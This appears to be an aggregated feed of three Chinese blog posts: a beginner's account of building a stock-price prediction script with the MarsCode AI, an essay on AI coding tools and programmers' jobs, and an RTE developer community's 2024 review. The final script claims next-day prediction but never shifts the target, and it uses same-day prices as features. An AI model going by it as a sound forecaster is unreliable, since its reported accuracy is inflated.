image.png

执行报错,提交给MarsCode,重新生成代码。

image.png

应用之后采纳,重新执行。数据是空的。

image.png

修改下时间,重新执行。还是空,继续给MarsCode优化。

image.png

提问

帮我写 Python 代码分析股价的变化趋势

image.png

执行之后下载失败。

image.png

继续把问题给MarsCode来寻找答案。

image.png

尝试很多次,反复报错如下,MarsCode也给不出能用的答案了。

1 Failed download:
['AAPL']: YFRateLimitError('Too Many Requests. Rate limited. Try after a while.')

image.png

尝试下老师的代码,也是没有执行出来。

image.png

文档很丰满,操作很骨感哈。

13、使用MarsCode反复修复代码

复制如下代码,

import efinance as ef

import pandas as pd

import numpy as np

import matplotlib.pyplot as plt

import matplotlib

matplotlib.use('TkAgg')  # 使用TkAgg后端

from sklearn.preprocessing import StandardScaler

from sklearn.metrics import mean_squared_error, mean_absolute_error, r2_score

from sklearn.ensemble import RandomForestRegressor

import os

from matplotlib.font_manager import FontProperties

import time

 
# 设置中文字体

font_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'SimHei.ttf')

custom_font = FontProperties(fname=font_path)

plt.rcParams['axes.unicode_minus'] = False



def get_stock_data(stock_code='GOOGL', start_date='20230101', end_date='20241130'):

    """获取股票数据"""

    file_path = f'results/{stock_code}_{start_date}_{end_date}_history.csv'

   

    if os.path.exists(file_path):

        print(f"从本地加载{stock_code}的历史数据...")

        df = pd.read_csv(file_path)

    else:

        print(f"从网络获取{stock_code}的历史数据...")

        df = ef.stock.get_quote_history(stock_code, beg=start_date, end=end_date)

        df.to_csv(file_path, encoding='utf-8', index=False)

   

    df['日期'] = pd.to_datetime(df['日期'])

    cols_to_keep = ['日期', '开盘', '收盘', '最高', '最低', '成交量', '成交额', '换手率']

    df = df[cols_to_keep]

   

    return df

  

def create_features(df):

    """创建特征"""

    df = df.copy()

   

    # 确保数值类型

    numeric_cols = ['开盘', '收盘', '最高', '最低', '成交量', '成交额', '换手率']

    for col in numeric_cols:

        df[col] = pd.to_numeric(df[col], errors='coerce')

   

    # 成交量相关特征

    df['volume_price_ratio'] = df['成交量'] / df['收盘']

  

    return df.dropna()

  

def prepare_data(df, target_col='收盘', test_size=0.2):

    """准备训练和测试数据"""

    df = create_features(df)
    
    feature_columns = [col for col in df.columns if col != target_col and col != '日期']

    X = df[feature_columns].astype(float)

    y = df[target_col].astype(float)

    split_idx = int(len(df) * (1 - test_size))

    X_train, X_test = X[:split_idx], X[split_idx:-1]

    y_train, y_test = y[1:split_idx+1], y[split_idx+1:]

    # y_test[-1:] = 300

    #import ipdb; ipdb.set_trace()    

    scaler = StandardScaler()

    X_train_scaled = scaler.fit_transform(X_train)

    X_test_scaled = scaler.transform(X_test)

   

    return X_train_scaled, X_test_scaled, y_train, y_test, scaler, feature_columns, df['日期'][split_idx:]

def plot_predictions_dynamic(dates, y_test, y_pred, stock_code='GOOGL', start_from=100):

    """动态绘制预测结果,预测点和实际点交替显示"""

    plt.ion()  # 打开交互模式

   

    # 转换数据为numpy数组,确保可以通过索引访问

    y_test = np.array(y_test)

    y_pred = np.array(y_pred)

   

    # 从指定天数开始的数据

    dates = dates[start_from:]

    y_test = y_test[start_from:]

    y_pred = y_pred[start_from:]

   

    fig, ax = plt.subplots(figsize=(15, 8))

    plt.title('股价预测结果和实际股价对比图', fontproperties=custom_font, fontsize=14, pad=20)

    plt.xlabel('日期', fontproperties=custom_font, fontsize=12)

    plt.ylabel('股价', fontproperties=custom_font, fontsize=12)

    plt.grid(True, alpha=0.3)

   

    # 设置坐标轴范围

    ax.set_xlim(-1, len(dates))

    ax.set_ylim(min(min(y_test), min(y_pred)) * 0.95,

                max(max(y_test), max(y_pred)) * 1.05)

   

    # 处理日期刻度

    date_list = dates.tolist()

    tick_indices = range(0, len(date_list), max(1, len(date_list)//10))

    date_labels = [date_list[i].strftime('%Y-%m-%d') if isinstance(date_list[i], pd.Timestamp)

                  else pd.Timestamp(date_list[i]).strftime('%Y-%m-%d')

                  for i in tick_indices]

    plt.xticks(list(tick_indices), date_labels, rotation=45)

   

    # 初始化线条和散点

    actual_line, = ax.plot([], [], 'black', label='实际值', linewidth=2)

    pred_line, = ax.plot([], [], 'blue', label='预测值', alpha=0.7, linewidth=2)

    actual_scatter = ax.scatter([], [], color='black', s=50, alpha=0.6)

    pred_scatter = ax.scatter([], [], color='blue', s=50, alpha=0.6)

   

    plt.legend(prop=custom_font)

    plt.tight_layout()

   

    # 动态更新数据

    actual_x_data = []

    actual_y_data = []

    pred_x_data = []

    pred_y_data = []

   

    try:

        # 交替显示预测点和实际点

        for i in range(len(y_test)):

            # 先显示预测点

            pred_x_data.append(i)

            pred_y_data.append(y_pred[i])

            pred_line.set_data(pred_x_data, pred_y_data)

            pred_scatter.set_offsets(np.c_[pred_x_data, pred_y_data])

           

            # 更新图形

            fig.canvas.draw()

            fig.canvas.flush_events()

            time.sleep(0.3)  # 暂停一小段时间

           

            # 再显示实际点

            actual_x_data.append(i)

            actual_y_data.append(y_test[i])

            actual_line.set_data(actual_x_data, actual_y_data)

            actual_scatter.set_offsets(np.c_[actual_x_data, actual_y_data])

           

            # 更新图形

            fig.canvas.draw()

            fig.canvas.flush_events()

            time.sleep(0.1)  # 暂停一小段时间

    except Exception as e:

        print(f"绘图过程中发生错误: {str(e)}")

        print(f"当前索引: {i}")

        print(f"数据形状: y_test: {y_test.shape}, y_pred: {y_pred.shape}")

   

    plt.ioff()  # 关闭交互模式

    plt.show()

   

    return fig

  


def plot_feature_importance(feature_columns, importance, top_n=10):

    """绘制特征重要性"""

    importance_dict = dict(zip(feature_columns, importance))

    importance_sorted = dict(sorted(importance_dict.items(), key=lambda x: x[1], reverse=True)[:top_n])

   

    plt.figure(figsize=(12, 6))

    plt.bar(importance_sorted.keys(), importance_sorted.values())

    plt.xticks(rotation=45, ha='right')

    plt.title('特征重要性排序', fontproperties=custom_font, fontsize=14)

    plt.xlabel('特征', fontproperties=custom_font)

    plt.ylabel('重要性', fontproperties=custom_font)

    plt.tight_layout()

   

    # 保存图片

    plt.savefig('results/feature_importance.png', dpi=300, bbox_inches='tight')

   

    return plt.gcf()

  


def main():

    """主函数"""

    try:

        # 设置随机种子

        np.random.seed(42)

       

        # 1. 获取数据

        # 提示用户输入股票代码

        stock_code = input("请输入股票代码(例如:MSFT):")

        # 提示用户输入开始日期

        start_date = input("请输入开始日期(YYYYMMDD):")

        # 提示用户输入结束日期

        end_date = input("请输入结束日期(YYYYMMDD):")

        # 获取股票数据

        df = get_stock_data(stock_code, start_date=start_date, end_date=end_date)

  


        print(f"数据获取完成,共 {len(df)} 条记录")

       

        # 2. 准备数据

        X_train, X_test, y_train, y_test, scaler, feature_columns, test_dates = prepare_data(df)

        print(f"数据预处理完成,训练集大小: {X_train.shape}, 测试集大小: {X_test.shape}")

       

        # 3. 训练随机森林模型

        print("\n开始训练随机森林模型...")

        model = RandomForestRegressor(n_estimators=200,

                                    max_depth=10,

                                    min_samples_split=5,

                                    min_samples_leaf=2,

                                    random_state=42)

        model.fit(X_train, y_train)

       

        # 4. 预测和评估

        y_pred = model.predict(X_test)

       

        mse = mean_squared_error(y_test, y_pred)

        rmse = np.sqrt(mse)

        mae = mean_absolute_error(y_test, y_pred)

        r2 = r2_score(y_test, y_pred)

       

        print("\n模型评估结果:")

        print(f"R2分数: {r2:.4f}")

        print(f"均方误差(MSE): {mse:.4f}")

        print(f"均方根误差(RMSE): {rmse:.4f}")

        print(f"平均绝对误差(MAE): {mae:.4f}")

       

        # 5. 绘制动态预测图

        fig = plot_predictions_dynamic(test_dates, y_test, y_pred, stock_code, start_from=20)

        plt.show()

       

        # 6. 绘制特征重要性

        plot_feature_importance(feature_columns, model.feature_importances_)

       

        return model, scaler, feature_columns

       

    except Exception as e:

        print(f"发生错误: {str(e)}")

        raise

  


if __name__ == "__main__":

    model, scaler, feature_columns = main()

向豆包MarsCode提问:

任务:创建一个完整的股票价格预测分析应用程序,包含数据获取、特征工程、模型训练和预测可视化等功能。

代码组织要求:
1. 使用函数式编程,保持代码结构清晰
2. 所有代码放在一个文件中,约2503. 使用英文注释和输出,避免中文编码问题
4. 每个功能模块间接口统一,确保数据流转顺畅
5. 符合Google Python代码规范

具体功能模块:

1. 数据获取:
- 使用efinance库实现数据获取
- 支持本地数据缓存功能
- 统一中英文列名转换
- 返回标准格式DataFrame

2. 特征工程:
- 计算成交量价格比
- 处理缺失值

3. 数据预处理:
- 特征标准化
- 训练测试集分割,准备训练和测试数据,使用当天的特征预测下一天的目标值
- 保持时间序列顺序
- 数据验证

4. 模型训练:
- 使用RandomForestRegressor
- 设置合适的模型参数
- 提供训练过程日志
- 返回训练好的模型

5. 模型评估:
- 计算R2分数
- 计算MSE和RMSE
- 计算MAE
- 格式化输出结果

6. 可视化展示:
- 预测结果对比图
- 特征重要性分析图
- 使用英文标签
- 支持图片保存

函数接口规范:

1. get_stock_data(stock_code: str, start_date: str, end_date: str) -> pd.DataFrame:
   """获取股票数据"""

2. create_features(df: pd.DataFrame) -> pd.DataFrame:
   """创建技术指标特征,只保留数值列返回新变量"""

3. prepare_data(df: pd.DataFrame, target_col: str, test_size: float) -> tuple:
   """准备训练和测试数据,使用当天的特征预测下一天的目标值"""

4. train_model(X_train: np.ndarray, y_train: np.ndarray) -> RandomForestRegressor:
   """训练模型"""

5. evaluate_predictions(y_true: np.ndarray, y_pred: np.ndarray) -> dict:
   """评估预测结果"""

6. plot_predictions(dates: pd.Series, y_true: np.ndarray, y_pred: np.ndarray, stock_code: str):
   """绘制预测结果"""

7. main() -> tuple:
   """主函数"""

数据示例:
股票名称   股票代码          日期       开盘      收盘      最高       最低       成交量           成交额    振幅   涨跌幅   涨跌额   换手率
0    谷歌-A  GOOGL  2023-01-03   89.185   88.72   90.65   88.120  28131224  2.512678e+09  2.88  1.01  0.89  0.47
1    谷歌-A  GOOGL  2023-01-04   89.950   87.68   90.25   86.871  34854776  3.074915e+09  3.81 -1.17 -1.04  0.58

数据流转说明:
1. get_stock_data获取原始数据
2. create_features处理原始数据生成特征
3. prepare_data准备训练数据
4. train_model训练模型
5. evaluate_predictions评估结果
6. plot_predictions可视化

关键要求:
1. 所有函数都要有完整的文档字符串
2. 包含异常处理机制
3. 提供进度提示信息
4. 保持代码简洁易读
5. 避免复杂的依赖关系

完整示例用法:
```python
if __name__ == "__main__":
    # 设置股票代码和日期范围
    stock_code = 'MSFT'
    start_date = '20230101'
    end_date = '20241030'
    
    # 运行主程序
    model, scaler, feature_cols = main()

image.png

如何运行代码

image.png

运行代码报错,之后选中,然后让MarsCode来修复。

image.png

反复修改各种报错。

image.png

最后生成股票的预测图。

image.png

最终代码

import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.dates as mdates
from sklearn.preprocessing import StandardScaler
from sklearn.model_selection import train_test_split
from sklearn.ensemble import RandomForestRegressor
from sklearn.metrics import r2_score, mean_squared_error, mean_absolute_error
import efinance as ef

def get_stock_data(stock_code: str, start_date: str, end_date: str) -> pd.DataFrame:
    """
    获取股票数据

    :param stock_code: 股票代码
    :param start_date: 开始日期
    :param end_date: 结束日期
    :return: 包含股票数据的DataFrame
    """
    try:
        # 尝试从本地缓存读取数据
        df = pd.read_csv(f"{stock_code}_{start_date}_{end_date}.csv")
        print("Data loaded from cache.")
    except FileNotFoundError:
        # 如果本地缓存不存在,则从网络获取数据
        print("Fetching data from the web...")
        df = ef.stock.get_quote_history(stock_code, beg=start_date, end=end_date)
        # 将数据保存到本地缓存
        df.to_csv(f"{stock_code}_{start_date}_{end_date}.csv", index=False)
        print("Data fetched and saved to cache.")
    # 将日期列转换为 datetime 类型,并设置为索引
    df['日期'] = pd.to_datetime(df['日期'])
    df.set_index('日期', inplace=True)
    return df

def create_features(df: pd.DataFrame, target_col: str) -> pd.DataFrame:
    """
    创建技术指标特征,保留目标列('收盘')并只返回数值列
    
    :param df: 包含原始数据的DataFrame
    :param target_col: 目标列名
    :return: 包含新特征的DataFrame
    """
    # 计算成交量价格比
    df['volume_price_ratio'] = df['成交量'] / df['成交额']
    # 处理缺失值
    df.fillna(method='ffill', inplace=True)
    # 只保留数值列,并确保目标列被保留
    df = df.select_dtypes(include=[np.number])
    return df

def prepare_data(df: pd.DataFrame, target_col: str, test_size: float) -> tuple:
    """
    准备训练和测试数据,使用当天的特征预测下一天的目标值
    
    :param df: 包含特征和目标值的DataFrame
    :param target_col: 目标值列名
    :param test_size: 测试集占比
    :return: 包含训练集和测试集的元组
    """
    # 特征标准化
    scaler = StandardScaler()
    X = df.drop(target_col, axis=1)  # 删除目标列
    y = df[target_col]  # 目标列
    X_scaled = scaler.fit_transform(X)  # 特征标准化
    # 训练测试集分割,保持时间序列顺序
    X_train, X_test, y_train, y_test = train_test_split(X_scaled, y, test_size=test_size, shuffle=False)
    return X_train, X_test, y_train, y_test, scaler

def train_model(X_train: np.ndarray, y_train: np.ndarray) -> RandomForestRegressor:
    """
    训练模型

    :param X_train: 训练集特征
    :param y_train: 训练集目标值
    :return: 训练好的模型
    """
    print("Training the model...")
    model = RandomForestRegressor(n_estimators=100, random_state=42)
    model.fit(X_train, y_train)
    print("Model training completed.")
    return model

def evaluate_predictions(y_true: np.ndarray, y_pred: np.ndarray) -> dict:
    """
    评估预测结果

    :param y_true: 真实目标值
    :param y_pred: 预测目标值
    :return: 包含评估指标的字典
    """
    r2 = r2_score(y_true, y_pred)
    mse = mean_squared_error(y_true, y_pred)
    rmse = np.sqrt(mse)
    mae = mean_absolute_error(y_true, y_pred)
    return {'R2 Score': r2, 'MSE': mse, 'RMSE': rmse, 'MAE': mae}

def plot_predictions(dates: pd.Series, y_true: np.ndarray, y_pred: np.ndarray, stock_code: str):
    """
    绘制预测结果,并智能调整时间横轴的密集程度

    :param dates: 日期序列
    :param y_true: 真实目标值
    :param y_pred: 预测目标值
    :param stock_code: 股票代码
    """
    plt.figure(figsize=(12, 6))

    # 确保 dates 是 pandas 的 datetime 类型,不要转换成字符串
    plt.plot(dates, y_true, label='True Values')
    plt.plot(dates, y_pred, label='Predicted Values')
    plt.title(f"Stock Price Prediction for {stock_code}")
    plt.xlabel('Date')
    plt.ylabel('Price')

    # 获取时间跨度(最大日期 - 最小日期)
    time_span = (dates.max() - dates.min()).days

    # 根据时间跨度智能调整日期的显示
    ax = plt.gca()
    if time_span > 365:  # 超过一年,按月显示日期
        ax.xaxis.set_major_locator(mdates.MonthLocator())
        ax.xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m'))  # 显示年份和月份
    elif time_span > 31:  # 超过一个月,按周显示日期
        ax.xaxis.set_major_locator(mdates.WeekdayLocator())
        ax.xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m-%d'))  # 显示年份、月份和日期
    else:  # 小于一个月,按天显示日期
        ax.xaxis.set_major_locator(mdates.DayLocator())
        ax.xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m-%d'))  # 显示年份、月份和日期

    # 自动旋转 x 轴标签以防止重叠
    plt.xticks(rotation=45)

    # 显示图例
    plt.legend()
    plt.tight_layout()  # 确保布局不被压缩
    plt.savefig(f"{stock_code}_prediction.png")
    plt.show()

def main() -> tuple:
    """
    主函数

    :return: 训练好的模型、标准化器和特征列名
    """
    # 设置股票代码和日期范围
    stock_code = input("请输入股票代码: ")
    start_date = input("请输入开始日期(格式为YYYYMMDD): ")
    end_date = input("请输入结束日期(格式为YYYYMMDD): ")

    # 获取股票数据
    df = get_stock_data(stock_code, start_date, end_date)

    # 创建特征
    target_col = '收盘'
    df = create_features(df, target_col)

    # 准备数据
    X_train, X_test, y_train, y_test, scaler = prepare_data(df, target_col, test_size=0.2)

    # 训练模型
    model = train_model(X_train, y_train)

    # 预测
    y_pred = model.predict(X_test)

    # 评估预测结果
    evaluation = evaluate_predictions(y_test, y_pred)
    print("Model Evaluation:")
    for metric, value in evaluation.items():
        print(f"{metric}: {value}")

    # 可视化预测结果
    plot_predictions(df.index[-len(y_test):], y_test, y_pred, stock_code)

    return model, scaler, df.columns.drop(target_col)

if __name__ == "__main__": 
    main()
14、总结

1)零基础的话,MarsCode可以做一个入门编程指导老师,通过提问可以学习一步步怎么写代码,执行代码等等。

2)对小白来说的话,我认为最大的难点可能在于基础环境的搭建,在安装python依赖的时候花了5个小时,总有各种报错,可能有些报错比较简单,但对小白来说就是看不懂,只能各种MarsCode或者百度来一个个尝试。

3)使用MarsCode来优化代码的时候,实际遇到的情况就是MarsCode给出的一种方式不行的时候,再优化MarsCode会陷入循环,一直提供都是同一种方式,可能它也没有别的方式。对于小白来说,这个问题就不好自己解决了。

4)纸上得来终觉浅,还是要动手多操作。纵然是按着文档或者老师一步步来,也可能是不同的结果。

5)MarsCode还是很强大,一些初级代码它都写的很好,绝对是提升生产力的工具。

感兴趣的小伙伴,可以一起来MarsCodde共学,报名链接

by 穿过生命散发芬芳 at January 24, 2025 12:13 PM

juejin career

AI 编程真的会让程序员失业!

我正在参加 Trae「超级体验官」创意实践征文,  本文所使用的 Trae 免费下载链接: www.trae.ai/?utm_source…


2025 年 1 月 20 日上午 10:24 ,这个包含了 1024 的时间点,字节发布了其 AI 编程 IDE: Trae www.trae.ai/

ai_1.png

对标 Cursor,Windsurf 的国内出海的一个 IDE,当前可使用 Claude-3.5-Sonnet 和 GPT-4o 大语言模型

深入使用,花了三个小时,不写一行代码,实现了一个前端后端分离架构,包含登录/退出,数据库查询,跨域,以及首页功能的小管理后台,包括前端和后端的代码。前端所使用技术栈为 Vue,后端使用了 golang + beego。

这 3 个小时有一个耗时点是想让 AI 来解决跨域的问题,我们知道跨域主要是 Access-Control-Allow-Origin 等头信息的处理,把前后端的代码上下文都给了,反复试 OPTIONS 请求跨域总是不成功,后来发现是后台接口实现所修改的跨域文件没有加载导致的。

除了通用功能,实际业务开发中,花了 30 分钟实现了 Java 的流式输出,其场景是要实现 DeepSeek 的模型调用,以实现打字机的输出效果。 ai_2.png

这里 AI 给的 golang 的实现,但是当前我需要的是 Java 的,这里的问题是没有把需求讲清楚。同时也表示在开始对话时,需要把一些背景信息讲清楚能提高整体的效率。

ai_3.png

ai_5.png

经过了大概 10 轮对话,他大概就了解我真正想要的是什么了,再经过 6 轮对话补全,把过程中有问题的地方和相关代码圈出来给到 AI,很快就有结果,并解决了问题。

ai_6.png

1. 使用过程中的感受

  1. 表述清楚需求很重要,在最开始的时候一些背景重要的背景信息可以提前给出,如技术栈,表结构、想做的事情等等;
  2. 给到更多的上下文,更容易得到正确的答案,在 Trea 中使用 # 号引入,当前支持代码、文件、目录及工作区间;
  3. 从 AI 中来,到 AI 中去,可以跳出 AI 来解决问题,当 AI 限入解决问题的死循环,可以找 google 要一些答案喂给 AI,后续应该会自动支持这个功能;
  4. 出错的地方,选中后,直接让 AI 解决,甚至不需要多说一句话,当然,你也可以多说几句,更清晰的表述你想要的东西;
  5. 多模态的能力,在界面有问题的地方,截图说明给到 AI 就能解决;
  6. 先做框架,再逐个功能实现,当前阶段,AI 解决小范围的问题会更合适一些。

到这里,对于这种通用类的功能,AI 已经能发挥出很大的能力了,再进化一段时间,程序员的大部分编码工作真的就会被 AI 取代了。那是不是我们就失业了呢?从纯粹写代码的角度来说,是的,但是从整个项目的角度不一定。

2. 程序员的当前职责

和康总有聊到这块,当前我们程序员基本在解决的问题包括决策、连接和编码三部分。

  • 决策:技术选型、架构设计等高层次决策,AI 尚无法完全替代。
  • 连接:跨部门需求分析、团队沟通与资源协调。
  • 编码:过去程序员的核心工作,但 AI 的介入正在加速其主要功能的边缘化。

2.1 决策

项目开发的过程实际上是一个个的决策过程组成的,决策是咱们的核心职责之一,是一个项目从业务需求到技术实现的过程中,如何选择解决方案的过程。

我们需要在不确定性和多种选择中,基于经验、知识和实际需求,做出技术上的关键决定。这些决策往往会对团队的效率、产品的质量和未来的技术发展方向产生深远影响。

决策指的它涉及从业务层面到技术层面的全局性规划,包括但不限于:

  • 需求分析
    • 理解并提炼业务需求,制定核心目标和功能优先级。
    • 与产品经理、业务方的沟通,明确业务目标和用户需求。
  • 技术选型
    • 决定使用何种技术栈(前端框架、后端框架、数据库、云服务等)。
    • 评估不同技术的可行性、扩展性和成本。
  • 架构设计
    • 系统架构的顶层设计,比如单体架构 vs 微服务架构。
    • 数据库选择(SQL vs NoSQL)、缓存策略、性能优化方案。
  • 风险评估与管理
    • 评估技术方案的风险(如性能瓶颈、技术债务、团队技术栈能力)。
    • 制定备选方案和应急措施。

AI 替代能力:

  • 当前能力
    • AI 已能提供强大的技术选型建议(如根据场景推荐框架、库、工具)。
    • 在简单的架构设计中,AI 已能生成初步方案(如微服务与单体架构优劣分析)。
  • 未来潜力
    • AI 可能在复杂的技术决策中辅助更精准的数据分析和方案评估。
    • 但最终决策依赖对业务需求的深刻理解,这仍需要人类的经验和判断。

程序员核心竞争力:

  • 理解业务需求和行业背景,能够将技术与业务深度结合。
  • 解决复杂的非结构化问题,比如协调跨团队需求冲突,平衡业务优先级。
  • 创新能力:AI 只能在已有知识中提供建议,真正的创新需要人类。

2.2 连接

连接是将技术方案具体化并协调各方资源,使其从理论走向实践的过程。重点包括:

  • 需求转化
    • 将业务需求拆解为可执行的技术任务。
    • 明确模块划分、接口定义以及交互方式。
  • 团队协作
    • 前后端、测试、运维、产品经理之间的沟通与协作。
    • 协调跨部门资源,解决技术与运营、市场等职能间的矛盾。
  • 接口与模块设计
    • 定义 API 接口规范(RESTful、GraphQL)。
    • 确保接口的安全性、性能和兼容性。
  • 测试与迭代
    • 制定测试方案,组织单元测试、集成测试。
    • 根据测试反馈快速调整,推动迭代优化。

AI 替代能力:

  • 当前能力
    • AI 已能快速生成接口文档、代码示例、测试用例。
    • 在协作方面,AI 可以辅助生成任务拆解、需求文档、项目计划等。
  • 未来潜力
    • AI 可以成为跨部门的沟通桥梁,如生成更加精确的技术-业务对接文档。
    • 但复杂、动态的沟通和协调仍是 AI 难以替代的领域。

程序员核心竞争力:

  • 优秀的沟通能力和团队协作能力,能在矛盾或模糊的需求中推动项目前进。
  • 对复杂系统的整体把控力,确保各模块之间的高效协作。
  • 快速适应变化的能力,能够在项目中临时调整资源和策略。

2.3 编码

编码是程序员的核心工作之一,涉及将设计方案转化为实际运行代码的过程。它包括:

  • 代码实现
    • 基于需求和设计文档,开发具体功能模块。
    • 包括前端开发(UI、交互逻辑)和后端开发(业务逻辑、数据库操作)。
  • 调试与优化
    • 修复 BUG,优化代码性能。
    • 解决复杂的技术难点(如跨域问题、性能瓶颈、并发冲突)。
  • 代码质量保障
    • 编写单元测试、集成测试,确保代码质量。
    • 遵循代码规范,进行代码审查。
  • 持续集成与发布
    • 使用 CI/CD 工具进行自动化构建和部署。
    • 实现代码版本管理和持续优化。

AI 替代能力:

  • 当前能力
    • AI 已能生成高质量的代码片段、调试建议,甚至完整的模块代码。
    • 对于常见的编码任务(如脚本处理类,CRUD 功能),AI 的效率和准确性已超过人类。
  • 未来潜力
    • AI 将进一步替代大部分重复性、模板化的编码工作。
    • 但对于复杂场景下的创新性编码,AI 的能力仍有限。

程序员核心竞争力:

  • 对技术深度的理解,能够在 AI 提供的代码基础上进行优化和扩展。
  • 解决复杂问题的能力,比如在非标准化场景下实现创新功能。
  • 对代码质量的把控能力,确保生成代码的安全性、性能和可维护性。

3. AI 替代的趋势与程序员未来的价值

3.1 当前 AI 会逐步替代哪些部分?

  1. 重复性、模板化的工作
    • 例如脚本类、通用类、CRUD 重复类的功能。
    • 常见的 BUG 修复、代码优化建议。
  2. 常规化的架构设计和技术选型
    • AI 将能处理大部分标准化场景下的技术决策。
    • 在数据驱动的决策场景中,AI 的效率更高。
  3. 文档、接口、测试的自动化
    • 自动生成 API 文档、测试用例,将成为默认功能。

3.2 程序员的核心竞争力是什么?

  1. 业务理解与技术结合能力
    • AI 不理解业务逻辑背后的真实需求,程序员能够通过与产品、业务沟通,设计出更贴合实际的解决方案。
  2. 复杂场景的解决能力
    • 比如跨团队协作、大规模分布式系统设计、非标准化需求的实现。
  3. 创新与创意能力
    • AI 是基于已有数据训练的,无法真正创新。程序员在新领域和新需求中的创意能力不可替代。
  4. 人际沟通与团队协作能力
    • 项目中的决策、问题协调、资源整合都需要人类来推动。

3.3 程序员未来应该做什么?

  1. 提升抽象能力和建模能力
    • 从写代码转向设计方案,专注于高层次的架构和技术规划。
  2. 拥抱 AI 工具
    • 熟练使用 AI 编程工具(如 Trae、Cursor)提升效率,将 AI 当作“助手”。
  3. 深耕行业知识
    • 了解特定行业的业务逻辑,成为领域专家。
  4. 培养软技能
    • 强化沟通能力、团队协作能力和项目管理能力。

画了一个思维导图,大概是这样:

ai_sj.png

以上。

by 潘锦 at January 24, 2025 11:55 AM

juejin article

RTE 社区 2024 总结:虽然「卷」,但可以和一群朋友一起,找到自己的速度丨RTE 开发者社区

「如果用一个词来总结你的 2024,将会是什么?」 「卷。」「朋友。」「速度。」

2025 年 1 月 4 日,小寒前夕,在北京甜水园的苟市和上海静安的 Solution,一群 Real-Time AI&Voice Agent Builder 加入了一场名为 「RTE Dev Party 2024o」的年度开发者聚会。席间觥筹交错,欢声笑语。RTE 开发者社区的三位主理人京沪连线讨论 2024 年的感受和 2025 年的希冀时,被问到上面的问题,三位主理人都认真地思考并郑重给出了自己的回答。

三个关键词既是给 24 年做的注脚,更是提出了 25 年的展望。 本篇文章将与大家一同回顾 RTE 开发者社区 2024 年的核心数据和大事,同时也将分享我们对 RTE + AI 的深入思考,以及在对话式 AI 和 Voice Agent 领域的未来规划。

首先还是从 Dev Party 开始,先来感受下冬夜里开发者交流的火热气氛,开发者永远是社区的起点和终点。

Dev Party上,社区联合主理人们京沪连线讨论 2024 年的感受和 2025 年的希冀。

我们分别给开源社联合创始人林旅强、FreeSWITCH 中文社区创始人杜金房颁发了续聘书;给语音 AI 资深专家卢恒颁发了加入社区第一年的聘书。

即便合影后,还有许多开发者在交流,直到深夜酒馆打烊……

接下来,将和你分享 RTE 开发者社区的 2024:

2024 年,AI 席卷一切的一年。

从上半年 OpenAI 发布 GPT-4o,展示了多模态对话的奇妙体验,行业巨头与初创企业纷纷入局,技术突破不断,从语音到图像,从文字到动作,AI 的感知与理解能力愈发细腻入微。

接着 a16z 发表对语音 AI 的观点雄文,行业的投资者、先锋领袖纷纷引导大家向着 AI 落地的方向,重点思考如何回答红杉提出的经典的「AI 的 6000 亿问题」;一时间,AI 降价浪潮此起彼伏,生怕错过任何一个有巨大潜力的新生场景;实时互动领域则如夏日清泉,无论是远程协作还是虚拟社交,皆因 AI 的妙语连珠与实时交互碰撞出生动的火花。

到年尾,随着巨头大厂纷纷爆出自家大杀器,多模态 AI 与对话式智能如春日繁花竞相绽放,AI 客服、AIoT 层出不穷,AI 助手催生「万镜大战」,对 AI 智能体的探讨突然就火热起来……

在技术浪潮的汹涌澎湃中,RTE 开发者社区如一艘稳健的航船,承载着众多 RTE Builder 的梦想与热情,驶过了充满挑战与机遇的 2024 年。这一年,我们亲历了社区从青涩到成熟的蜕变,在线上和线下,汇聚了一群又一群实时智能 Builder。现在,就让我们一同回顾这段充实而精彩的旅程。

社区成长足迹

数说 2024

  • 活跃人群数稳步增长 :550 位开发者深度参与社区共建,整体覆盖超 55000 名实时互动领域开发者,社区日活跃人群数突破 500人,成功引入 120 位核心开发者和 35 家新的合作伙伴,为社区注入了源源不断的活力。

  • 内容产出聚焦对话式智能和 Voice Agent: Voice Agent 学习笔记 15 篇,阅读量总计超 10 万;《编码人声》播客节目推出 17 期,RTE Meetup 举办 6 期,RTE Open Day 开展 3 场,RTE Dev Talk 进行 6 期,超音速计划 1 期,超音速年度创新场景 demo show 1 场,RTE 开发者日报发布 251 期,阅读量累计达 25 万+。此外,rtecommunity.dev 平台冷启动注册用户达 546 人。

  • 开发者参与度火热、分享专业: 40 位嘉宾在播客《编码人声》中分享见解,让 210 万人次听到开发者的声音;RTE Dev Talk 吸引 18 位嘉宾参与,收获 397 条评论和 6173 次点赞;270 位开发者参与 RTE Meetup 深度交流,45 个项目通过 demo 分享获得宝贵反馈;RTE Open Day 助力 41 家创业项目落地大型展会,项目社群增长超 3000 人次,新增深度业务合作沟通 500+次;超音速创业营收到 300 多份报名申请,12 家创新团队脱颖而出,成为超音速计划伙伴,获得全方位支持。

  • 伙伴墙的荣耀: 过去一年,众多社区伙伴通过 RTE2024 大会、RTE Meetup、RTE Open Day、超音速计划、RTE Dev Talk 等活动积极参与社区共建,他们的支持与贡献是社区前行的坚实基石。

社区 2024 大事记

社区的思考与升级

对 RTE 和 AI 关系的思考:将聚焦于对话式 AI 和 Voice Agent

2024 年,AI 与实时互动技术的结合达到了前所未有的高度。 5 月,OpenAI 发布了 GPT-4o,并展示了其对话功能,仿佛电影《HER》中的智能助手走入了现实生活。10 月,OpenAI 宣布与 Agora、Twilio 等实时互动技术公司展开合作,同时,国内各大科技公司也陆续公布了在对话 AI、多模态 AI、语音 AI 等领域的技术布局和市场战略。

随着这两项技术的深度融合,我们已经看到它们在多个领域和场景中展现出 巨大的应用潜力 ,也赋予了智能体越来越可用的能力,语音助手可以帮助用户打电话、操作终端设备;AI 能为用户提供情感陪伴;而能够纠正语音的口语陪练也让学习更加个性化和高效。这些创新的应用让智能体变得愈加智能、实用和贴近用户需求。

语音互动,作为人类最自然的交互手段之一,也让 AI 在落地价值的道路上得到了加速。在这之中,Voice Agent 作为实时互动智能中确定性较高的分支 ,以其自然直观的交互形式和成熟可靠的技术实现,展现出在特定场景中高效且稳定的优势。

经过深入探讨,RTE 开发者社区决定聚焦于对话式 AI 和 Voice Agent 领域 ,这将让我们的技术探索更加聚焦,资源投入更加精准,为开发者提供了更清晰的发展方向。

然而,我们认为,这两个技术的融合在 2024 年还仍未形成一个成熟的「实时互动智能生态」,很多技术问题有待解决。

这些技术问题的魔鬼细节就藏在落地的最后一公里的关键环节中:

